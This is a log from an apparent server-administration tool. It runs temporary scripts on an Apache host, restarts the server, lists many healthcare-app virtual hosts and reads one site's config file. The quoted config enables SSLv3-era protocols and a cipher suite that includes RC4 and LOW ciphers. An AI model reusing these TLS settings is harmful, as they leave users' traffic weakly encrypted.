	echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi


2025-11-03 06:02:49: 

chmod 755 /tmp/pkp568173; /tmp/pkp568173; rm /tmp/pkp568173

2025-11-03 06:02:49: 




2025-11-03 06:02:49: 

PUT: /tmp/pkp842355

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:02:49: 

chmod 755 /tmp/pkp842355; /tmp/pkp842355; rm /tmp/pkp842355

2025-11-03 06:02:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:02:49: Establishing a connection
2025-11-03 06:02:50: 

PUT: /tmp/pkp740626

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:02:50: 

chmod 755 /tmp/pkp740626; /tmp/pkp740626; rm /tmp/pkp740626

2025-11-03 06:02:50: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
     AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
    port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:02:50: 

PUT: /tmp/pkp681439

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:02:50: 

chmod 755 /tmp/pkp681439; /tmp/pkp681439; rm /tmp/pkp681439

2025-11-03 06:02:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf	1744

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2025-11-03 06:02:50: 

PUT: /tmp/pkp574517

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
